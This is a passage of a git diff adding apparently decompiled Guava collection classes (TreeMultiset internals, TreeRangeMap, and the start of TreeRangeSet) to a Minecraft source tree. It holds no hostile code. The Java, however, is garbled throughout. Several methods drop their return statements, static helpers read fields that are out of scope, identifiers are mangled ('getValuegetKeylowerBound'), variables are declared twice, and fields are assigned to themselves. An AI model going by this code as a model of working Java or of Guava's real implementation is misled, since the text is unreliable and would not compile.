+      if ((range.getUpperBoundType() == BoundType.OPEN) && (comparator().compare(endpoint, node.getElement()) == 0))
+      {
+        node = pred;
+      }
+    } else {
+      node = header.pred;
+    }
+    return (node == header) || (!range.contains(node.getElement())) ? null : node;
+  }
+  
+  Iterator<Multiset.Entry<E>> entryIterator()
+  {
+    new Iterator() {
+      TreeMultiset.AvlNode<E> current = TreeMultiset.this.firstNode();
+      Multiset.Entry<E> prevEntry;
+      
+      public boolean hasNext()
+      {
+        if (current == null)
+          return false;
+        if (range.tooHigh(current.getElement())) {
+          current = null;
+          return false;
+        }
+        return true;
+      }
+      
+
+      public Multiset.Entry<E> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        Multiset.Entry<E> result = TreeMultiset.this.wrapEntry(current);
+        prevEntry = result;
+        if (current.succ == header) {
+          current = null;
+        } else {
+          current = current.succ;
+        }
+        return result;
+      }
+      
+      public void remove()
+      {
+        CollectPreconditions.checkRemove(prevEntry != null);
+        setCount(prevEntry.getElement(), 0);
+        prevEntry = null;
+      }
+    };
+  }
+  
+  Iterator<Multiset.Entry<E>> descendingEntryIterator()
+  {
+    new Iterator() {
+      TreeMultiset.AvlNode<E> current = TreeMultiset.this.lastNode();
+      Multiset.Entry<E> prevEntry = null;
+      
+      public boolean hasNext()
+      {
+        if (current == null)
+          return false;
+        if (range.tooLow(current.getElement())) {
+          current = null;
+          return false;
+        }
+        return true;
+      }
+      
+
+      public Multiset.Entry<E> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        Multiset.Entry<E> result = TreeMultiset.this.wrapEntry(current);
+        prevEntry = result;
+        if (current.pred == header) {
+          current = null;
+        } else {
+          current = current.pred;
+        }
+        return result;
+      }
+      
+      public void remove()
+      {
+        CollectPreconditions.checkRemove(prevEntry != null);
+        setCount(prevEntry.getElement(), 0);
+        prevEntry = null;
+      }
+    };
+  }
+  
+  public SortedMultiset<E> headMultiset(@Nullable E upperBound, BoundType boundType)
+  {
+    return new TreeMultiset(rootReference, range.intersect(GeneralRange.upTo(comparator(), upperBound, boundType)), header);
+  }
+  
+
+
+
+  public SortedMultiset<E> tailMultiset(@Nullable E lowerBound, BoundType boundType)
+  {
+    return new TreeMultiset(rootReference, range.intersect(GeneralRange.downTo(comparator(), lowerBound, boundType)), header);
+  }
+  
+
+
+  static int distinctElements(@Nullable AvlNode<?> node)
+  {
+    return node == null ? 0 : distinctElements;
+  }
+  
+  private static final class Reference<T> {
+    private Reference() {}
+    
+    @Nullable
+    public T get() { return value; }
+    
+    @Nullable
+    private T value;
+    public void checkAndSet(@Nullable T expected, T newValue) { if (value != expected) {
+        throw new ConcurrentModificationException();
+      }
+      value = newValue;
+    }
+  }
+  
+  private static final class AvlNode<E> extends Multisets.AbstractEntry<E>
+  {
+    @Nullable
+    private final E elem;
+    private int elemCount;
+    private int distinctElements;
+    private long totalCount;
+    private int height;
+    private AvlNode<E> left;
+    private AvlNode<E> right;
+    private AvlNode<E> pred;
+    private AvlNode<E> succ;
+    
+    AvlNode(@Nullable E elem, int elemCount)
+    {
+      Preconditions.checkArgument(elemCount > 0);
+      this.elem = elem;
+      this.elemCount = elemCount;
+      totalCount = elemCount;
+      distinctElements = 1;
+      height = 1;
+      left = null;
+      right = null;
+    }
+    
+    public int count(Comparator<? super E> comparator, E e) {
+      int cmp = comparator.compare(e, elem);
+      if (cmp < 0)
+        return left == null ? 0 : left.count(comparator, e);
+      if (cmp > 0) {
+        return right == null ? 0 : right.count(comparator, e);
+      }
+      return elemCount;
+    }
+    
+    private AvlNode<E> addRightChild(E e, int count)
+    {
+      right = new AvlNode(e, count);
+      TreeMultiset.successor(this, right, succ);
+      height = Math.max(2, height);
+      distinctElements += 1;
+      totalCount += count;
+      return this;
+    }
+    
+    private AvlNode<E> addLeftChild(E e, int count) {
+      left = new AvlNode(e, count);
+      TreeMultiset.successor(pred, left, this);
+      height = Math.max(2, height);
+      distinctElements += 1;
+      totalCount += count;
+      return this;
+    }
+    
+
+
+
+    AvlNode<E> add(Comparator<? super E> comparator, @Nullable E e, int count, int[] result)
+    {
+      int cmp = comparator.compare(e, elem);
+      if (cmp < 0) {
+        AvlNode<E> initLeft = left;
+        if (initLeft == null) {
+          result[0] = 0;
+          return addLeftChild(e, count);
+        }
+        int initHeight = height;
+        
+        left = initLeft.add(comparator, e, count, result);
+        if (result[0] == 0) {
+          distinctElements += 1;
+        }
+        totalCount += count;
+        return left.height == initHeight ? this : rebalance(); }
+      if (cmp > 0) {
+        AvlNode<E> initRight = right;
+        if (initRight == null) {
+          result[0] = 0;
+          return addRightChild(e, count);
+        }
+        int initHeight = height;
+        
+        right = initRight.add(comparator, e, count, result);
+        if (result[0] == 0) {
+          distinctElements += 1;
+        }
+        totalCount += count;
+        return right.height == initHeight ? this : rebalance();
+      }
+      
+
+      result[0] = elemCount;
+      long resultCount = elemCount + count;
+      Preconditions.checkArgument(resultCount <= 2147483647L);
+      elemCount += count;
+      totalCount += count;
+      return this;
+    }
+    
+    AvlNode<E> remove(Comparator<? super E> comparator, @Nullable E e, int count, int[] result) {
+      int cmp = comparator.compare(e, elem);
+      if (cmp < 0) {
+        AvlNode<E> initLeft = left;
+        if (initLeft == null) {
+          result[0] = 0;
+          return this;
+        }
+        
+        left = initLeft.remove(comparator, e, count, result);
+        
+        if (result[0] > 0) {
+          if (count >= result[0]) {
+            distinctElements -= 1;
+            totalCount -= result[0];
+          } else {
+            totalCount -= count;
+          }
+        }
+        return result[0] == 0 ? this : rebalance(); }
+      if (cmp > 0) {
+        AvlNode<E> initRight = right;
+        if (initRight == null) {
+          result[0] = 0;
+          return this;
+        }
+        
+        right = initRight.remove(comparator, e, count, result);
+        
+        if (result[0] > 0) {
+          if (count >= result[0]) {
+            distinctElements -= 1;
+            totalCount -= result[0];
+          } else {
+            totalCount -= count;
+          }
+        }
+        return rebalance();
+      }
+      
+
+      result[0] = elemCount;
+      if (count >= elemCount) {
+        return deleteMe();
+      }
+      elemCount -= count;
+      totalCount -= count;
+      return this;
+    }
+    
+    AvlNode<E> setCount(Comparator<? super E> comparator, @Nullable E e, int count, int[] result)
+    {
+      int cmp = comparator.compare(e, elem);
+      if (cmp < 0) {
+        AvlNode<E> initLeft = left;
+        if (initLeft == null) {
+          result[0] = 0;
+          return count > 0 ? addLeftChild(e, count) : this;
+        }
+        
+        left = initLeft.setCount(comparator, e, count, result);
+        
+        if ((count == 0) && (result[0] != 0)) {
+          distinctElements -= 1;
+        } else if ((count > 0) && (result[0] == 0)) {
+          distinctElements += 1;
+        }
+        
+        totalCount += count - result[0];
+        return rebalance(); }
+      if (cmp > 0) {
+        AvlNode<E> initRight = right;
+        if (initRight == null) {
+          result[0] = 0;
+          return count > 0 ? addRightChild(e, count) : this;
+        }
+        
+        right = initRight.setCount(comparator, e, count, result);
+        
+        if ((count == 0) && (result[0] != 0)) {
+          distinctElements -= 1;
+        } else if ((count > 0) && (result[0] == 0)) {
+          distinctElements += 1;
+        }
+        
+        totalCount += count - result[0];
+        return rebalance();
+      }
+      
+
+      result[0] = elemCount;
+      if (count == 0) {
+        return deleteMe();
+      }
+      totalCount += count - elemCount;
+      elemCount = count;
+      return this;
+    }
+    
+
+
+
+
+    AvlNode<E> setCount(Comparator<? super E> comparator, @Nullable E e, int expectedCount, int newCount, int[] result)
+    {
+      int cmp = comparator.compare(e, elem);
+      if (cmp < 0) {
+        AvlNode<E> initLeft = left;
+        if (initLeft == null) {
+          result[0] = 0;
+          if ((expectedCount == 0) && (newCount > 0)) {
+            return addLeftChild(e, newCount);
+          }
+          return this;
+        }
+        
+        left = initLeft.setCount(comparator, e, expectedCount, newCount, result);
+        
+        if (result[0] == expectedCount) {
+          if ((newCount == 0) && (result[0] != 0)) {
+            distinctElements -= 1;
+          } else if ((newCount > 0) && (result[0] == 0)) {
+            distinctElements += 1;
+          }
+          totalCount += newCount - result[0];
+        }
+        return rebalance(); }
+      if (cmp > 0) {
+        AvlNode<E> initRight = right;
+        if (initRight == null) {
+          result[0] = 0;
+          if ((expectedCount == 0) && (newCount > 0)) {
+            return addRightChild(e, newCount);
+          }
+          return this;
+        }
+        
+        right = initRight.setCount(comparator, e, expectedCount, newCount, result);
+        
+        if (result[0] == expectedCount) {
+          if ((newCount == 0) && (result[0] != 0)) {
+            distinctElements -= 1;
+          } else if ((newCount > 0) && (result[0] == 0)) {
+            distinctElements += 1;
+          }
+          totalCount += newCount - result[0];
+        }
+        return rebalance();
+      }
+      
+
+      result[0] = elemCount;
+      if (expectedCount == elemCount) {
+        if (newCount == 0) {
+          return deleteMe();
+        }
+        totalCount += newCount - elemCount;
+        elemCount = newCount;
+      }
+      return this;
+    }
+    
+    private AvlNode<E> deleteMe() {
+      int oldElemCount = elemCount;
+      elemCount = 0;
+      TreeMultiset.successor(pred, succ);
+      if (left == null)
+        return right;
+      if (right == null)
+        return left;
+      if (left.height >= right.height) {
+        AvlNode<E> newTop = pred;
+        
+        left = left.removeMax(newTop);
+        right = right;
+        distinctElements -= 1;
+        totalCount -= oldElemCount;
+        return newTop.rebalance();
+      }
+      AvlNode<E> newTop = succ;
+      right = right.removeMin(newTop);
+      left = left;
+      distinctElements -= 1;
+      totalCount -= oldElemCount;
+      return newTop.rebalance();
+    }
+    
+
+    private AvlNode<E> removeMin(AvlNode<E> node)
+    {
+      if (left == null) {
+        return right;
+      }
+      left = left.removeMin(node);
+      distinctElements -= 1;
+      totalCount -= elemCount;
+      return rebalance();
+    }
+    
+
+    private AvlNode<E> removeMax(AvlNode<E> node)
+    {
+      if (right == null) {
+        return left;
+      }
+      right = right.removeMax(node);
+      distinctElements -= 1;
+      totalCount -= elemCount;
+      return rebalance();
+    }
+    
+    private void recomputeMultiset()
+    {
+      distinctElements = (1 + TreeMultiset.distinctElements(left) + TreeMultiset.distinctElements(right));
+      
+      totalCount = (elemCount + totalCount(left) + totalCount(right));
+    }
+    
+    private void recomputeHeight() {
+      height = (1 + Math.max(height(left), height(right)));
+    }
+    
+    private void recompute() {
+      recomputeMultiset();
+      recomputeHeight();
+    }
+    
+    private AvlNode<E> rebalance() {
+      switch (balanceFactor()) {
+      case -2: 
+        if (right.balanceFactor() > 0) {
+          right = right.rotateRight();
+        }
+        return rotateLeft();
+      case 2: 
+        if (left.balanceFactor() < 0) {
+          left = left.rotateLeft();
+        }
+        return rotateRight();
+      }
+      recomputeHeight();
+      return this;
+    }
+    
+    private int balanceFactor()
+    {
+      return height(left) - height(right);
+    }
+    
+    private AvlNode<E> rotateLeft() {
+      Preconditions.checkState(right != null);
+      AvlNode<E> newTop = right;
+      right = left;
+      left = this;
+      totalCount = totalCount;
+      distinctElements = distinctElements;
+      recompute();
+      newTop.recomputeHeight();
+      return newTop;
+    }
+    
+    private AvlNode<E> rotateRight() {
+      Preconditions.checkState(left != null);
+      AvlNode<E> newTop = left;
+      left = right;
+      right = this;
+      totalCount = totalCount;
+      distinctElements = distinctElements;
+      recompute();
+      newTop.recomputeHeight();
+      return newTop;
+    }
+    
+    private static long totalCount(@Nullable AvlNode<?> node) {
+      return node == null ? 0L : totalCount;
+    }
+    
+
+    private static int height(@Nullable AvlNode<?> node) { return node == null ? 0 : height; }
+    
+    @Nullable
+    private AvlNode<E> ceiling(Comparator<? super E> comparator, E e) {
+      int cmp = comparator.compare(e, elem);
+      if (cmp < 0)
+        return left == null ? this : (AvlNode)Objects.firstNonNull(left.ceiling(comparator, e), this);
+      if (cmp == 0) {
+        return this;
+      }
+      return right == null ? null : right.ceiling(comparator, e);
+    }
+    
+    @Nullable
+    private AvlNode<E> floor(Comparator<? super E> comparator, E e) {
+      int cmp = comparator.compare(e, elem);
+      if (cmp > 0)
+        return right == null ? this : (AvlNode)Objects.firstNonNull(right.floor(comparator, e), this);
+      if (cmp == 0) {
+        return this;
+      }
+      return left == null ? null : left.floor(comparator, e);
+    }
+    
+
+    public E getElement()
+    {
+      return elem;
+    }
+    
+    public int getCount()
+    {
+      return elemCount;
+    }
+    
+    public String toString()
+    {
+      return Multisets.immutableEntry(getElement(), getCount()).toString();
+    }
+  }
+  
+  private static <T> void successor(AvlNode<T> a, AvlNode<T> b) {
+    succ = b;
+    pred = a;
+  }
+  
+  private static <T> void successor(AvlNode<T> a, AvlNode<T> b, AvlNode<T> c) {
+    successor(a, b);
+    successor(b, c);
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeObject(elementSet().comparator());
+    Serialization.writeMultiset(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
+    stream.defaultReadObject();
+    
+
+    Comparator<? super E> comparator = (Comparator)stream.readObject();
+    Serialization.getFieldSetter(AbstractSortedMultiset.class, "comparator").set(this, comparator);
+    Serialization.getFieldSetter(TreeMultiset.class, "range").set(this, GeneralRange.all(comparator));
+    
+
+    Serialization.getFieldSetter(TreeMultiset.class, "rootReference").set(this, new Reference(null));
+    
+
+    AvlNode<E> header = new AvlNode(null, 1);
+    Serialization.getFieldSetter(TreeMultiset.class, "header").set(this, header);
+    successor(header, header);
+    Serialization.populateMultiset(this, stream);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TreeRangeMap.java b/src/minecraft/com/google/common/collect/TreeRangeMap.java
new file mode 100644
index 0000000..9dd4858
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TreeRangeMap.java
@@ -0,0 +1,608 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.SortedMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtIncompatible("NavigableMap")
+public final class TreeRangeMap<K extends Comparable, V>
+  implements RangeMap<K, V>
+{
+  private final NavigableMap<Cut<K>, RangeMapEntry<K, V>> entriesByLowerBound;
+  
+  public static <K extends Comparable, V> TreeRangeMap<K, V> create()
+  {
+    return new TreeRangeMap();
+  }
+  
+  private TreeRangeMap() {
+    entriesByLowerBound = Maps.newTreeMap();
+  }
+  
+  private static final class RangeMapEntry<K extends Comparable, V> extends AbstractMapEntry<Range<K>, V>
+  {
+    private final Range<K> range;
+    private final V value;
+    
+    RangeMapEntry(Cut<K> lowerBound, Cut<K> upperBound, V value) {
+      this(Range.create(lowerBound, upperBound), value);
+    }
+    
+    RangeMapEntry(Range<K> range, V value) {
+      this.range = range;
+      this.value = value;
+    }
+    
+    public Range<K> getKey()
+    {
+      return range;
+    }
+    
+    public V getValue()
+    {
+      return value;
+    }
+    
+    public boolean contains(K value) {
+      return range.contains(value);
+    }
+    
+    Cut<K> getLowerBound() {
+      return range.lowerBound;
+    }
+    
+    Cut<K> getUpperBound() {
+      return range.upperBound;
+    }
+  }
+  
+  @Nullable
+  public V get(K key)
+  {
+    Map.Entry<Range<K>, V> entry = getEntry(key);
+    return entry == null ? null : entry.getValue();
+  }
+  
+  @Nullable
+  public Map.Entry<Range<K>, V> getEntry(K key)
+  {
+    Map.Entry<Cut<K>, RangeMapEntry<K, V>> mapEntry = entriesByLowerBound.floorEntry(Cut.belowValue(key));
+    
+    if ((mapEntry != null) && (((RangeMapEntry)mapEntry.getValue()).contains(key))) {
+      return (Map.Entry)mapEntry.getValue();
+    }
+    return null;
+  }
+  
+
+  public void put(Range<K> range, V value)
+  {
+    if (!range.isEmpty()) {
+      Preconditions.checkNotNull(value);
+      remove(range);
+      entriesByLowerBound.put(lowerBound, new RangeMapEntry(range, value));
+    }
+  }
+  
+  public void putAll(RangeMap<K, V> rangeMap)
+  {
+    for (Map.Entry<Range<K>, V> entry : rangeMap.asMapOfRanges().entrySet()) {
+      put((Range)entry.getKey(), entry.getValue());
+    }
+  }
+  
+  public void clear()
+  {
+    entriesByLowerBound.clear();
+  }
+  
+  public Range<K> span()
+  {
+    Map.Entry<Cut<K>, RangeMapEntry<K, V>> firstEntry = entriesByLowerBound.firstEntry();
+    Map.Entry<Cut<K>, RangeMapEntry<K, V>> lastEntry = entriesByLowerBound.lastEntry();
+    if (firstEntry == null) {
+      throw new NoSuchElementException();
+    }
+    return Range.create(getValuegetKeylowerBound, getValuegetKeyupperBound);
+  }
+  
+
+  private void putRangeMapEntry(Cut<K> lowerBound, Cut<K> upperBound, V value)
+  {
+    entriesByLowerBound.put(lowerBound, new RangeMapEntry(lowerBound, upperBound, value));
+  }
+  
+  public void remove(Range<K> rangeToRemove)
+  {
+    if (rangeToRemove.isEmpty()) {
+      return;
+    }
+    
+
+
+
+
+    Map.Entry<Cut<K>, RangeMapEntry<K, V>> mapEntryBelowToTruncate = entriesByLowerBound.lowerEntry(lowerBound);
+    
+    if (mapEntryBelowToTruncate != null)
+    {
+      RangeMapEntry<K, V> rangeMapEntry = (RangeMapEntry)mapEntryBelowToTruncate.getValue();
+      if (rangeMapEntry.getUpperBound().compareTo(lowerBound) > 0)
+      {
+        if (rangeMapEntry.getUpperBound().compareTo(upperBound) > 0)
+        {
+
+          putRangeMapEntry(upperBound, rangeMapEntry.getUpperBound(), ((RangeMapEntry)mapEntryBelowToTruncate.getValue()).getValue());
+        }
+        
+
+        putRangeMapEntry(rangeMapEntry.getLowerBound(), lowerBound, ((RangeMapEntry)mapEntryBelowToTruncate.getValue()).getValue());
+      }
+    }
+    
+
+    Map.Entry<Cut<K>, RangeMapEntry<K, V>> mapEntryAboveToTruncate = entriesByLowerBound.lowerEntry(upperBound);
+    
+    if (mapEntryAboveToTruncate != null)
+    {
+      RangeMapEntry<K, V> rangeMapEntry = (RangeMapEntry)mapEntryAboveToTruncate.getValue();
+      if (rangeMapEntry.getUpperBound().compareTo(upperBound) > 0)
+      {
+
+        putRangeMapEntry(upperBound, rangeMapEntry.getUpperBound(), ((RangeMapEntry)mapEntryAboveToTruncate.getValue()).getValue());
+        
+        entriesByLowerBound.remove(lowerBound);
+      }
+    }
+    entriesByLowerBound.subMap(lowerBound, upperBound).clear();
+  }
+  
+  public Map<Range<K>, V> asMapOfRanges()
+  {
+    return new AsMapOfRanges(null);
+  }
+  
+  private final class AsMapOfRanges extends AbstractMap<Range<K>, V> {
+    private AsMapOfRanges() {}
+    
+    public boolean containsKey(@Nullable Object key) {
+      return get(key) != null;
+    }
+    
+    public V get(@Nullable Object key)
+    {
+      if ((key instanceof Range)) {
+        Range<?> range = (Range)key;
+        TreeRangeMap.RangeMapEntry<K, V> rangeMapEntry = (TreeRangeMap.RangeMapEntry)entriesByLowerBound.get(lowerBound);
+        if ((rangeMapEntry != null) && (rangeMapEntry.getKey().equals(range))) {
+          return rangeMapEntry.getValue();
+        }
+      }
+      return null;
+    }
+    
+    public Set<Map.Entry<Range<K>, V>> entrySet()
+    {
+      new AbstractSet()
+      {
+
+        public Iterator<Map.Entry<Range<K>, V>> iterator()
+        {
+          return entriesByLowerBound.values().iterator();
+        }
+        
+        public int size()
+        {
+          return entriesByLowerBound.size();
+        }
+      };
+    }
+  }
+  
+  public RangeMap<K, V> subRangeMap(Range<K> subRange)
+  {
+    if (subRange.equals(Range.all())) {
+      return this;
+    }
+    return new SubRangeMap(subRange);
+  }
+  
+
+  private RangeMap<K, V> emptySubRangeMap()
+  {
+    return EMPTY_SUB_RANGE_MAP;
+  }
+  
+  private static final RangeMap EMPTY_SUB_RANGE_MAP = new RangeMap()
+  {
+    @Nullable
+    public Object get(Comparable key)
+    {
+      return null;
+    }
+    
+    @Nullable
+    public Map.Entry<Range, Object> getEntry(Comparable key)
+    {
+      return null;
+    }
+    
+    public Range span()
+    {
+      throw new NoSuchElementException();
+    }
+    
+    public void put(Range range, Object value)
+    {
+      Preconditions.checkNotNull(range);
+      throw new IllegalArgumentException("Cannot insert range " + range + " into an empty subRangeMap");
+    }
+    
+
+    public void putAll(RangeMap rangeMap)
+    {
+      if (!rangeMap.asMapOfRanges().isEmpty()) {
+        throw new IllegalArgumentException("Cannot putAll(nonEmptyRangeMap) into an empty subRangeMap");
+      }
+    }
+    
+
+    public void clear() {}
+    
+
+    public void remove(Range range)
+    {
+      Preconditions.checkNotNull(range);
+    }
+    
+    public Map<Range, Object> asMapOfRanges()
+    {
+      return Collections.emptyMap();
+    }
+    
+    public RangeMap subRangeMap(Range range)
+    {
+      Preconditions.checkNotNull(range);
+      return this;
+    }
+  };
+  
+  private class SubRangeMap implements RangeMap<K, V>
+  {
+    private final Range<K> subRange;
+    
+    SubRangeMap() {
+      this.subRange = subRange;
+    }
+    
+    @Nullable
+    public V get(K key)
+    {
+      return subRange.contains(key) ? TreeRangeMap.this.get(key) : null;
+    }
+    
+
+
+    @Nullable
+    public Map.Entry<Range<K>, V> getEntry(K key)
+    {
+      if (subRange.contains(key)) {
+        Map.Entry<Range<K>, V> entry = TreeRangeMap.this.getEntry(key);
+        if (entry != null) {
+          return Maps.immutableEntry(((Range)entry.getKey()).intersection(subRange), entry.getValue());
+        }
+      }
+      return null;
+    }
+    
+
+    public Range<K> span()
+    {
+      Map.Entry<Cut<K>, TreeRangeMap.RangeMapEntry<K, V>> lowerEntry = entriesByLowerBound.floorEntry(subRange.lowerBound);
+      Cut<K> lowerBound;
+      Cut<K> lowerBound; if ((lowerEntry != null) && (((TreeRangeMap.RangeMapEntry)lowerEntry.getValue()).getUpperBound().compareTo(subRange.lowerBound) > 0))
+      {
+        lowerBound = subRange.lowerBound;
+      } else {
+        lowerBound = (Cut)entriesByLowerBound.ceilingKey(subRange.lowerBound);
+        if ((lowerBound == null) || (lowerBound.compareTo(subRange.upperBound) >= 0)) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+      Map.Entry<Cut<K>, TreeRangeMap.RangeMapEntry<K, V>> upperEntry = entriesByLowerBound.lowerEntry(subRange.upperBound);
+      
+      if (upperEntry == null)
+        throw new NoSuchElementException();
+      Cut<K> upperBound; Cut<K> upperBound; if (((TreeRangeMap.RangeMapEntry)upperEntry.getValue()).getUpperBound().compareTo(subRange.upperBound) >= 0) {
+        upperBound = subRange.upperBound;
+      } else {
+        upperBound = ((TreeRangeMap.RangeMapEntry)upperEntry.getValue()).getUpperBound();
+      }
+      return Range.create(lowerBound, upperBound);
+    }
+    
+    public void put(Range<K> range, V value)
+    {
+      Preconditions.checkArgument(subRange.encloses(range), "Cannot put range %s into a subRangeMap(%s)", new Object[] { range, subRange });
+      
+      TreeRangeMap.this.put(range, value);
+    }
+    
+    public void putAll(RangeMap<K, V> rangeMap)
+    {
+      if (rangeMap.asMapOfRanges().isEmpty()) {
+        return;
+      }
+      Range<K> span = rangeMap.span();
+      Preconditions.checkArgument(subRange.encloses(span), "Cannot putAll rangeMap with span %s into a subRangeMap(%s)", new Object[] { span, subRange });
+      
+      TreeRangeMap.this.putAll(rangeMap);
+    }
+    
+    public void clear()
+    {
+      TreeRangeMap.this.remove(subRange);
+    }
+    
+    public void remove(Range<K> range)
+    {
+      if (range.isConnected(subRange)) {
+        TreeRangeMap.this.remove(range.intersection(subRange));
+      }
+    }
+    
+    public RangeMap<K, V> subRangeMap(Range<K> range)
+    {
+      if (!range.isConnected(subRange)) {
+        return TreeRangeMap.this.emptySubRangeMap();
+      }
+      return TreeRangeMap.this.subRangeMap(range.intersection(subRange));
+    }
+    
+
+    public Map<Range<K>, V> asMapOfRanges()
+    {
+      return new SubRangeMapAsMap();
+    }
+    
+    public boolean equals(@Nullable Object o)
+    {
+      if ((o instanceof RangeMap)) {
+        RangeMap<?, ?> rangeMap = (RangeMap)o;
+        return asMapOfRanges().equals(rangeMap.asMapOfRanges());
+      }
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return asMapOfRanges().hashCode();
+    }
+    
+    public String toString()
+    {
+      return asMapOfRanges().toString();
+    }
+    
+    class SubRangeMapAsMap extends AbstractMap<Range<K>, V> {
+      SubRangeMapAsMap() {}
+      
+      public boolean containsKey(Object key) {
+        return get(key) != null;
+      }
+      
+      public V get(Object key)
+      {
+        try {
+          if ((key instanceof Range))
+          {
+            Range<K> r = (Range)key;
+            if ((!subRange.encloses(r)) || (r.isEmpty())) {
+              return null;
+            }
+            TreeRangeMap.RangeMapEntry<K, V> candidate = null;
+            if (lowerBound.compareTo(subRange.lowerBound) == 0)
+            {
+              Map.Entry<Cut<K>, TreeRangeMap.RangeMapEntry<K, V>> entry = entriesByLowerBound.floorEntry(lowerBound);
+              
+              if (entry != null) {
+                candidate = (TreeRangeMap.RangeMapEntry)entry.getValue();
+              }
+            } else {
+              candidate = (TreeRangeMap.RangeMapEntry)entriesByLowerBound.get(lowerBound);
+            }
+            
+            if ((candidate != null) && (candidate.getKey().isConnected(subRange)) && (candidate.getKey().intersection(subRange).equals(r)))
+            {
+              return candidate.getValue();
+            }
+          }
+        } catch (ClassCastException e) {
+          return null;
+        }
+        return null;
+      }
+      
+      public V remove(Object key)
+      {
+        V value = get(key);
+        if (value != null)
+        {
+          Range<K> range = (Range)key;
+          TreeRangeMap.this.remove(range);
+          return value;
+        }
+        return null;
+      }
+      
+      public void clear()
+      {
+        TreeRangeMap.SubRangeMap.this.clear();
+      }
+      
+      private boolean removeEntryIf(Predicate<? super Map.Entry<Range<K>, V>> predicate) {
+        List<Range<K>> toRemove = Lists.newArrayList();
+        for (Map.Entry<Range<K>, V> entry : entrySet()) {
+          if (predicate.apply(entry)) {
+            toRemove.add(entry.getKey());
+          }
+        }
+        for (Range<K> range : toRemove) {
+          TreeRangeMap.this.remove(range);
+        }
+        return !toRemove.isEmpty();
+      }
+      
+      public Set<Range<K>> keySet()
+      {
+        new Maps.KeySet(this)
+        {
+          public boolean remove(@Nullable Object o) {
+            return remove(o) != null;
+          }
+          
+          public boolean retainAll(Collection<?> c)
+          {
+            return TreeRangeMap.SubRangeMap.SubRangeMapAsMap.this.removeEntryIf(Predicates.compose(Predicates.not(Predicates.in(c)), Maps.keyFunction()));
+          }
+        };
+      }
+      
+      public Set<Map.Entry<Range<K>, V>> entrySet()
+      {
+        new Maps.EntrySet()
+        {
+          Map<Range<K>, V> map() {
+            return TreeRangeMap.SubRangeMap.SubRangeMapAsMap.this;
+          }
+          
+          public Iterator<Map.Entry<Range<K>, V>> iterator()
+          {
+            if (subRange.isEmpty()) {
+              return Iterators.emptyIterator();
+            }
+            Cut<K> cutToStart = (Cut)Objects.firstNonNull(entriesByLowerBound.floorKey(subRange.lowerBound), subRange.lowerBound);
+            
+
+            final Iterator<TreeRangeMap.RangeMapEntry<K, V>> backingItr = entriesByLowerBound.tailMap(cutToStart, true).values().iterator();
+            
+            new AbstractIterator()
+            {
+              protected Map.Entry<Range<K>, V> computeNext()
+              {
+                while (backingItr.hasNext()) {
+                  TreeRangeMap.RangeMapEntry<K, V> entry = (TreeRangeMap.RangeMapEntry)backingItr.next();
+                  if (entry.getLowerBound().compareTo(subRange.upperBound) >= 0)
+                    break;
+                  if (entry.getUpperBound().compareTo(subRange.lowerBound) > 0)
+                  {
+                    return Maps.immutableEntry(entry.getKey().intersection(subRange), entry.getValue());
+                  }
+                }
+                
+                return (Map.Entry)endOfData();
+              }
+            };
+          }
+          
+          public boolean retainAll(Collection<?> c)
+          {
+            return TreeRangeMap.SubRangeMap.SubRangeMapAsMap.this.removeEntryIf(Predicates.not(Predicates.in(c)));
+          }
+          
+          public int size()
+          {
+            return Iterators.size(iterator());
+          }
+          
+          public boolean isEmpty()
+          {
+            return !iterator().hasNext();
+          }
+        };
+      }
+      
+      public Collection<V> values()
+      {
+        new Maps.Values(this)
+        {
+          public boolean removeAll(Collection<?> c) {
+            return TreeRangeMap.SubRangeMap.SubRangeMapAsMap.this.removeEntryIf(Predicates.compose(Predicates.in(c), Maps.valueFunction()));
+          }
+          
+          public boolean retainAll(Collection<?> c)
+          {
+            return TreeRangeMap.SubRangeMap.SubRangeMapAsMap.this.removeEntryIf(Predicates.compose(Predicates.not(Predicates.in(c)), Maps.valueFunction()));
+          }
+        };
+      }
+    }
+  }
+  
+  public boolean equals(@Nullable Object o)
+  {
+    if ((o instanceof RangeMap)) {
+      RangeMap<?, ?> rangeMap = (RangeMap)o;
+      return asMapOfRanges().equals(rangeMap.asMapOfRanges());
+    }
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return asMapOfRanges().hashCode();
+  }
+  
+  public String toString()
+  {
+    return entriesByLowerBound.values().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TreeRangeSet.java b/src/minecraft/com/google/common/collect/TreeRangeSet.java
new file mode 100644
index 0000000..cb5eff8
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TreeRangeSet.java
@@ -0,0 +1,850 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.TreeMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
